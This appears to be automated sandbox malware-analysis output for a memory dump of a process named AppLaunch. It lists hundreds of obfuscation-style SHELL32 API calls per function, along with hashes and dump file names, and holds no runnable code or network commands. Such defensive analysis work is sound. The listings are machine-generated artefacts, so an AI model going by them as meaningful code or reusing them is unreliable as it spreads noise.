RealDriveType.SHELL32(94508FC6,00000000), ref: 00415A31
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415A37
RealDriveType.SHELL32(E1C1896C,00000000), ref: 00415A40
RealDriveType.SHELL32(BAA165D9,00000000), ref: 00415A49
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415A4F
RealDriveType.SHELL32(4683C2CE,00000000), ref: 00415A58
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415A5E
RealDriveType.SHELL32(330958D2,00000000), ref: 00415A67
RealDriveType.SHELL32(AB006AF1,00000000), ref: 00415A70
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415A76
RealDriveType.SHELL32(13AB895E,00000000), ref: 00415A7F
RealDriveType.SHELL32(3FC02F5C,00000000), ref: 00415A88
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415A8E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415A94
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415A9A
RealDriveType.SHELL32(09E63676,00000000), ref: 00415AA3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415AA9
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415AAF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415AB5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415ABB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415AC1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415AC7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415ACD
RealDriveType.SHELL32(892AAD25,00000000), ref: 00415AD6
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415ADC
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415AE2
RealDriveType.SHELL32(52D57766,00000000), ref: 00415AEB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415AF1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415AFD
RealDriveType.SHELL32(0A3AFCF6,00000000), ref: 00415B06
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415B0C
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415B12
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415B18
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415B1E
RealDriveType.SHELL32(C487FB71,00000000), ref: 00415B27
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415B2D
RealDriveType.SHELL32(1046D3C6,00000000), ref: 00415B36
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415B3C
RealDriveType.SHELL32(28053B91,00000000), ref: 00415B45
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415B4B
RealDriveType.SHELL32(EDCC00C8,00000000), ref: 00415B54
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415B5A
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415B60
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415B66
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415B6C
RealDriveType.SHELL32(E35C46FE,00000000), ref: 00415B75
RealDriveType.SHELL32(169A72E4,00000000), ref: 00415B7E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415B84
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415B8A
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415B90
RealDriveType.SHELL32(42123E82,00000000), ref: 00415B99
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415B9F
RealDriveType.SHELL32(D912414F,00000000), ref: 00415BA8
RealDriveType.SHELL32(20BE22E7,00000000), ref: 00415BB1
RealDriveType.SHELL32(37980FAC,00000000), ref: 00415BBA
RealDriveType.SHELL32(D3CFA07E,00000000), ref: 00415BC3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415BC9
RealDriveType.SHELL32(0D5988C4,00000000), ref: 00415BD2
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415BD8
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415BDE
RealDriveType.SHELL32(1E331DF8,00000000), ref: 00415BE7
RealDriveType.SHELL32(33F3D4BD,00000000), ref: 00415BF0
RealDriveType.SHELL32(D81CE5A4,00000000), ref: 00415BF9
RealDriveType.SHELL32(E94324D2,00000000), ref: 00415C02
RealDriveType.SHELL32(C9D61E3F,00000000), ref: 00415C1C
RealDriveType.SHELL32(63778B2E,00000000), ref: 00415C25
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415C2B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415C31
RealDriveType.SHELL32(6C7DAF8A,00000000), ref: 00415C3A
RealDriveType.SHELL32(13385DAF,00000000), ref: 00415C43
RealDriveType.SHELL32(B0331EF8,00000000), ref: 00415C4C
RealDriveType.SHELL32(39CA5D7F,00000000), ref: 00415C55
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415C5B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415C61
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415C67
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415C6D
RealDriveType.SHELL32(E13C25DD,00000000), ref: 00415C76
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415C7C
RealDriveType.SHELL32(003947B0,00000000), ref: 00415C85
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415C8B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415C91
RealDriveType.SHELL32(280C335E,00000000), ref: 00415C9A
RealDriveType.SHELL32(B9419540,00000000), ref: 00415CA3
RealDriveType.SHELL32(1D2EAD4B,00000000), ref: 00415CAC
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415CB2
RealDriveType.SHELL32(41D36EFD,00000000), ref: 00415CBB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415CC1
RealDriveType.SHELL32(C6E3C59F,00000000), ref: 00415CCA
RealDriveType.SHELL32(F80EEF72,00000000), ref: 00415CD3
RealDriveType.SHELL32(201C61ED,00000000), ref: 00415CDC
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415CE2
RealDriveType.SHELL32(20E73FF2,00000000), ref: 00415CEB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415CF1
RealDriveType.SHELL32(FCE06821,00000000), ref: 00415CFA
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415D00
RealDriveType.SHELL32(6A7961DF,00000000), ref: 00415D09
RealDriveType.SHELL32(9F7444E9,00000000), ref: 00415D12
RealDriveType.SHELL32(C75BA587,00000000), ref: 00415D1B
RealDriveType.SHELL32(01EC448E,00000000), ref: 00415D24
RealDriveType.SHELL32(0BF44D7F,00000000), ref: 00415D2D
lstrlenA.KERNEL32(?), ref: 00415D32
RealDriveType.SHELL32(778BF38E,00000000), ref: 00415D5D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415D63
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415D69
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415D6F
RealDriveType.SHELL32(09312212,00000000), ref: 00415D78
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415D7E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415D84
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415D8A
RealDriveType.SHELL32(28F88FD8,00000000), ref: 00415D93
RealDriveType.SHELL32(08948839,00000000), ref: 00415D9C
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415DA2
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415DA8
RealDriveType.SHELL32(056B8845,00000000), ref: 00415DB1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415DB7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415DBD
RealDriveType.SHELL32(881A9733,00000000), ref: 00415DC6
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415DCC
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415DD2
RealDriveType.SHELL32(930D2072,00000000), ref: 00415DDB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415DE1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415DE7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415DED
RealDriveType.SHELL32(AC8B433C,00000000), ref: 00415DF6
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415DFC
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415E02
RealDriveType.SHELL32(F16B6EEB,00000000), ref: 00415E0B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415E11
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415E17
RealDriveType.SHELL32(03352198,00000000), ref: 00415E20
RealDriveType.SHELL32(1264E203,00000000), ref: 00415E29
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415E2F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415E35
RealDriveType.SHELL32(EADF6140,00000000), ref: 00415E3E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415E44
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415E4A
RealDriveType.SHELL32(37013996,00000000), ref: 00415E53
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415E69
RealDriveType.SHELL32(7102C3EF,00000000), ref: 00415E72
RealDriveType.SHELL32(45887BC2,00000000), ref: 00415E7B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415E81
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415E87
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415E8D
RealDriveType.SHELL32(B06D4FFC,00000000), ref: 00415E96
RealDriveType.SHELL32(F706806D,00000000), ref: 00415E9F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415EA5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415EAB
RealDriveType.SHELL32(F182FA17,00000000), ref: 00415EB4
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415EBA
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415EC0
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415EC6
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415ECC
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415ED2
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415ED8
RealDriveType.SHELL32(FB5FF646,00000000), ref: 00415EE1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415EE7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415EED
RealDriveType.SHELL32(C1894068,00000000), ref: 00415EF6
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415EFC
RealDriveType.SHELL32(ECD27444,00000000), ref: 00415F05
RealDriveType.SHELL32(C2E52682,00000000), ref: 00415F0E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415F14
RealDriveType.SHELL32(715BA2F5,00000000), ref: 00415F1D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415F23
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415F29
RealDriveType.SHELL32(AC487AAB,00000000), ref: 00415F32
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415F38
RealDriveType.SHELL32(BDCA55C6,00000000), ref: 00415F41
RealDriveType.SHELL32(BEFC5766,00000000), ref: 00415F4A
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415F50
RealDriveType.SHELL32(7968C563,00000000), ref: 00415F5A
RealDriveType.SHELL32(A95AB0EB,00000000), ref: 00415F62
RealDriveType.SHELL32(0F2565A1,00000000), ref: 00415F6A

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: PathSlow$DriveRealType$AllocLocallstrlen
String ID:
API String ID: 4040266926-0
Opcode ID: fab6881075bdd042069491a12ac5c90cc8cea4105995197900dc89bf3e3804ae
Instruction ID: e7f7dd1654383fd2e6cc3da74f558c03d6c47930fdbcad6292db94f64f367bbc
Opcode Fuzzy Hash: fab6881075bdd042069491a12ac5c90cc8cea4105995197900dc89bf3e3804ae
Instruction Fuzzy Hash: A8021FA0BC93AC79F5B076B64C8BF5F1D58DB84FA6F220046F3596D1C189E06940C9BA

Uniqueness

Uniqueness Score: -1.00%

Function 00419B4E Relevance: 324.3, APIs: 184, Strings: 1, Instructions: 595
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RealDriveType.SHELL32(28B5784F,00000000), ref: 00419B6C
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419B76
RealDriveType.SHELL32(6CFEA2A9,00000000), ref: 00419B7F
RealDriveType.SHELL32(DE3824E3,00000000), ref: 00419B88
RealDriveType.SHELL32(421E54E9,00000000), ref: 00419B91
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419B97
RealDriveType.SHELL32(CAECD9F1,00000000), ref: 00419BA0
RealDriveType.SHELL32(5F2761BB,00000000), ref: 00419BA9
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BAF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BB5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BBB
RealDriveType.SHELL32(3D0203C8,00000000), ref: 00419BC4
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BCA
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BD0
RealDriveType.SHELL32(8F0B365C,00000000), ref: 00419BD9
RealDriveType.SHELL32(2856819B,00000000), ref: 00419BE2
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BE8
RealDriveType.SHELL32(D1C91AE1,00000000), ref: 00419BF1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BF7
RealDriveType.SHELL32(81693532,00000000), ref: 00419C00
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C06
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C0C
RealDriveType.SHELL32(E8F18F5C,00000000), ref: 00419C15
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C1B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C21
RealDriveType.SHELL32(E902450C,00000000), ref: 00419C2A
RealDriveType.SHELL32(90A3CA22,00000000), ref: 00419C33
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C39
RealDriveType.SHELL32(093A69B5,00000000), ref: 00419C42
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C48
RealDriveType.SHELL32(4F2F9935,00000000), ref: 00419C51
RealDriveType.SHELL32(0447F28C,00000000), ref: 00419C5A
RealDriveType.SHELL32(EE23359B,00000000), ref: 00419C63
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C69
RealDriveType.SHELL32(D989BAD6,00000000), ref: 00419C72
RealDriveType.SHELL32(1CF0C71B,00000000), ref: 00419C7B
lstrlenW.KERNEL32(00000000,?,00413B6C,00000000,00000000,?,?,?,?,0040E230), ref: 00419C7E
LocalAlloc.KERNELBASE(00000040,00000000,?,00413B6C,00000000,00000000,?,?,?,?,0040E230), ref: 00419C8E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C9A
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419CA0
RealDriveType.SHELL32(462CC7D3,00000000), ref: 00419CA9
RealDriveType.SHELL32(234BE037,00000000), ref: 00419CB2
RealDriveType.SHELL32(A4D6ACB1,00000000), ref: 00419CBB
RealDriveType.SHELL32(48D1B2F5,00000000), ref: 00419CC4
RealDriveType.SHELL32(4B90ED69,00000000), ref: 00419CCD
RealDriveType.SHELL32(89C89DBC,00000000), ref: 00419CD6
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419CDC
RealDriveType.SHELL32(BC35A942,00000000), ref: 00419CE5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419CEB
RealDriveType.SHELL32(DDCF0A61,00000000), ref: 00419CF4
RealDriveType.SHELL32(E4E5AE85,00000000), ref: 00419CFD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D03
RealDriveType.SHELL32(448CA2B2,00000000), ref: 00419D0C
RealDriveType.SHELL32(67173F86,00000000), ref: 00419D15
RealDriveType.SHELL32(F63D3B4C,00000000), ref: 00419D1E
RealDriveType.SHELL32(753987CF,00000000), ref: 00419D27
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D2D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D33
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D39
RealDriveType.SHELL32(91997886,00000000), ref: 00419D42
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D48
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D4E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D54
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D5A
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D60
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D66
RealDriveType.SHELL32(3BABE4BA,00000000), ref: 00419D6F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D75
RealDriveType.SHELL32(2D008AD7,00000000), ref: 00419D7E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D84
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D8A
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D90
RealDriveType.SHELL32(A11DFE8B,00000000), ref: 00419D99
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D9F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DD0
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DD6
RealDriveType.SHELL32(FACE207B,00000000), ref: 00419DDF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DE5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DEB
RealDriveType.SHELL32(D28289B7,00000000), ref: 00419DF4
RealDriveType.SHELL32(0EAC1263,00000000), ref: 00419DFD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E03
RealDriveType.SHELL32(EA227221,00000000), ref: 00419E0C
RealDriveType.SHELL32(A90BEB86,00000000), ref: 00419E15
RealDriveType.SHELL32(EDD40E07,00000000), ref: 00419E1E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E24
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E2A
RealDriveType.SHELL32(130527F1,00000000), ref: 00419E33
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E39
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E3F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E45
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E4B
RealDriveType.SHELL32(3ED7E388,00000000), ref: 00419E54
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E5A
RealDriveType.SHELL32(5A47B4C0,00000000), ref: 00419E63
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E69
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E6F
RealDriveType.SHELL32(B0E0B450,00000000), ref: 00419E78
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E7E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E84
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E8A
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E90
RealDriveType.SHELL32(ED838CCA,00000000), ref: 00419E99
RealDriveType.SHELL32(72878FA1,00000000), ref: 00419EA2
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419EA8
RealDriveType.SHELL32(55765162,00000000), ref: 00419EB1
RealDriveType.SHELL32(980D59D6,00000000), ref: 00419EBA
RealDriveType.SHELL32(BC7B410D,00000000), ref: 00419EC3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419EC9
RealDriveType.SHELL32(0ABC8BCF,00000000), ref: 00419ED2
StrCpyW.SHLWAPI(00000000,00000000), ref: 00419EE4
RealDriveType.SHELL32(B83DD4C3,00000000), ref: 00419EF6
RealDriveType.SHELL32(0C3D9681,00000000), ref: 00419EFF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F05
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F0B
RealDriveType.SHELL32(CA93AD31,00000000), ref: 00419F14
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F1A
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F20
RealDriveType.SHELL32(24D7B2B3,00000000), ref: 00419F29
RealDriveType.SHELL32(A30DBBF3,00000000), ref: 00419F32
RealDriveType.SHELL32(AEA3431A,00000000), ref: 00419F3B
RealDriveType.SHELL32(D755FC82,00000000), ref: 00419F44
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F4A
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F50
RealDriveType.SHELL32(B190EFF0,00000000), ref: 00419F59
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F5F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F65
RealDriveType.SHELL32(E1A60634,00000000), ref: 00419F6E
RealDriveType.SHELL32(366B8E14,00000000), ref: 00419F77
RealDriveType.SHELL32(40932F09,00000000), ref: 00419F80
RealDriveType.SHELL32(3DAE64CB,00000000), ref: 00419F89
RealDriveType.SHELL32(5AFAF68A,00000000), ref: 00419F92
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F98
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F9E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FA4
RealDriveType.SHELL32(AC10EC3A,00000000), ref: 00419FAD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FB3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FB9
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FBF
RealDriveType.SHELL32(DF33BCFE,00000000), ref: 00419FC8
RealDriveType.SHELL32(34727096,00000000), ref: 00419FD1
RealDriveType.SHELL32(E0102DA0,00000000), ref: 00419FDA
RealDriveType.SHELL32(2D8740DB,00000000), ref: 00419FE3
RealDriveType.SHELL32(2EF133F2,00000000), ref: 00419FEC
RealDriveType.SHELL32(9F55DDDA,00000000), ref: 00419FF5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FFB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A001
LocalFree.KERNEL32(00000000,?,00413B6C,00000000,00000000,?,?,?,?,0040E230), ref: 0041A008
RealDriveType.SHELL32(C7C58F7B,00000000), ref: 0041A016
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A01A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A01E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A022
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A026
RealDriveType.SHELL32(2F8A0499,00000000), ref: 0041A02E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A032
RealDriveType.SHELL32(15AF3222,00000000), ref: 0041A03A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A03E
RealDriveType.SHELL32(5C94C57E,00000000), ref: 0041A046
RealDriveType.SHELL32(D30A758C,00000000), ref: 0041A04E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A052
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A056
RealDriveType.SHELL32(81C55260,00000000), ref: 0041A05E
RealDriveType.SHELL32(74DE06B9,00000000), ref: 0041A066
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A06A
RealDriveType.SHELL32(4CF8C2D9,00000000), ref: 0041A072
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A076
RealDriveType.SHELL32(F27D6935,00000000), ref: 0041A07E
RealDriveType.SHELL32(028C8498,00000000), ref: 0041A086
RealDriveType.SHELL32(2CFAF83B,00000000), ref: 0041A08E
RealDriveType.SHELL32(77AFC29D,00000000), ref: 0041A096
RealDriveType.SHELL32(AF52D6AB,00000000), ref: 0041A09E
RealDriveType.SHELL32(E9F5F3AB,00000000), ref: 0041A0A6
RealDriveType.SHELL32(6EE09C7C,00000000), ref: 0041A0AE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A0B2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A0B6
RealDriveType.SHELL32(C4E24786,00000000), ref: 0041A0BE
RealDriveType.SHELL32(EC551473,00000000), ref: 0041A0C6
RealDriveType.SHELL32(19BD0B68,00000000), ref: 0041A0CE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A0D2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A0D6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A0DA
RealDriveType.SHELL32(28636049,00000000), ref: 0041A0E2
RealDriveType.SHELL32(A33E7492,00000000), ref: 0041A0EA
RealDriveType.SHELL32(8BD39DD4,00000000), ref: 0041A0F2

Strings

l;A, xrefs: 00419DA4, 00419ED4, 00419DA9

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$PathSlow$Local$AllocFreelstrlen
String ID: l;A
API String ID: 3297894254-2212853096
Opcode ID: 4f4b3b2d141afd479f48022163eb14a6842c9b0a0a923fcdbae4bb9d09b94c51
Instruction ID: 2711227c2473a3a7dd63c79f2d95d90b45fd77062f408b7723fa95ca217c4f3f
Opcode Fuzzy Hash: 4f4b3b2d141afd479f48022163eb14a6842c9b0a0a923fcdbae4bb9d09b94c51
Instruction Fuzzy Hash: 38E114A0BC83AC79F5B077B24C8BF1F6D58DB84FA6F220416F3496D1C159E568018DBA

Uniqueness

Uniqueness Score: -1.00%

Function 0041A6A3 Relevance: 322.6, APIs: 183, Strings: 1, Instructions: 573
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RealDriveType.SHELL32(7A7F0824,00000000), ref: 0041A6B6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6C0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6C6
RealDriveType.SHELL32(CDF102A7,00000000), ref: 0041A6CF
RealDriveType.SHELL32(2E27FAE8,00000000), ref: 0041A6D8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6DE
RealDriveType.SHELL32(C5D8D0FC,00000000), ref: 0041A6E7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6ED
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6F3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6F9
RealDriveType.SHELL32(D56F96D9,00000000), ref: 0041A702
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A708
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A70E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A714
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A71A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A720
RealDriveType.SHELL32(E8EAE2BB,00000000), ref: 0041A729
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A72F
RealDriveType.SHELL32(2E9A5212,00000000), ref: 0041A738
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A73E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A744
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A74A
RealDriveType.SHELL32(85C0647B,00000000), ref: 0041A753
RealDriveType.SHELL32(D7A1C836,00000000), ref: 0041A75C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A762
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A768
RealDriveType.SHELL32(DDF4774B,00000000), ref: 0041A771
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A777
RealDriveType.SHELL32(EDDD8A7A,00000000), ref: 0041A780
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A786
RealDriveType.SHELL32(DB06937F,00000000), ref: 0041A78F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A795
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A79B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A7A1
RealDriveType.SHELL32(AE31F365,00000000), ref: 0041A7AA
RealDriveType.SHELL32(EB59011E,00000000), ref: 0041A7B3
lstrlenA.KERNEL32(e2e6bd5da536d7ebd64fba220f16e00c), ref: 0041A7B6
RealDriveType.SHELL32(AF943800,00000000), ref: 0041A7C5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A7CF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A7D5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A7DB
RealDriveType.SHELL32(BC1ADD7B,00000000), ref: 0041A7E4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A7EE
RealDriveType.SHELL32(247EBD4C,00000000), ref: 0041A7F7
RealDriveType.SHELL32(69DA7019,00000000), ref: 0041A804
RealDriveType.SHELL32(AE14985E,00000000), ref: 0041A811
RealDriveType.SHELL32(FB2A5F1A,00000000), ref: 0041A81E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A828
RealDriveType.SHELL32(464C7D81,00000000), ref: 0041A831
RealDriveType.SHELL32(B5BB8658,00000000), ref: 0041A83E
RealDriveType.SHELL32(3C755917,00000000), ref: 0041A84B
